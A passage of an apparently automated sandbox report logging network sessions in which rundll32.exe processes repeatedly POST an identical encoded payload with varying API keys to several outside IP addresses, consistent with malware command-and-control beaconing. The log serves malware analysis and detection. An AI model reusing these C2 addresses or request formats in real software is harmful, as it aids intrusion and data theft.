Jul 16, 2024 10:02:27.172642946 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 16 Jul 2024 08:02:27 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49761	77.238.229.63	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:26.920990944 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: xnSrl1YM Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49762	77.238.250.123	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:28.559401035 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 5YhZkXCb Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
Jul 16, 2024 10:02:29.160639048 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 16 Jul 2024 08:02:29 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49763	195.2.70.38	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:29.734040022 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: FUCgMNVE Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49764	91.142.74.28	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:31.497123003 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: WHHCuR8V Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49765	77.238.224.56	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:33.284347057 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: qhUJGZmW Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49766	77.238.229.63	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:34.915968895 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: t8xydjzh Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49768	77.238.250.123	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:36.542054892 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: FLjfKZHg Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
Jul 16, 2024 10:02:37.231015921 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 16 Jul 2024 08:02:37 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49769	195.2.70.38	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:57.182085037 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 7IFUDT6J Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49770	91.142.74.28	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:58.947762012 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: H3kEAGRx Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49771	195.2.70.38	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:02:59.174444914 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: BJc4NPxi Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49772	77.238.224.56	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:00.726083040 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 3ZUef3rw Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49773	91.142.74.28	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:01.245388985 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: JRhYRWLh Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49774	77.238.229.63	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:02.366687059 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: jpJgJt4L Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49775	77.238.224.56	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:03.006267071 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: UgwB4IBI Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49776	77.238.250.123	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:03.995242119 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: b1rb82Wo Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
Jul 16, 2024 10:03:04.681950092 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 16 Jul 2024 08:03:04 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49777	77.238.229.63	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:04.756715059 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: VjlbIcUY Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49778	77.238.250.123	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:06.293637991 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 0H0y9KCR Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
Jul 16, 2024 10:03:06.926261902 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 16 Jul 2024 08:03:06 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49779	195.2.70.38	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:07.246994019 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: vQ2WJ7ct Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49780	91.142.74.28	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:09.045337915 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 12qcOP26 Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49781	77.238.224.56	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:03:10.787168980 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.224.56 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: PECq8ArO Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49782	77.238.229.63	80	5408	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
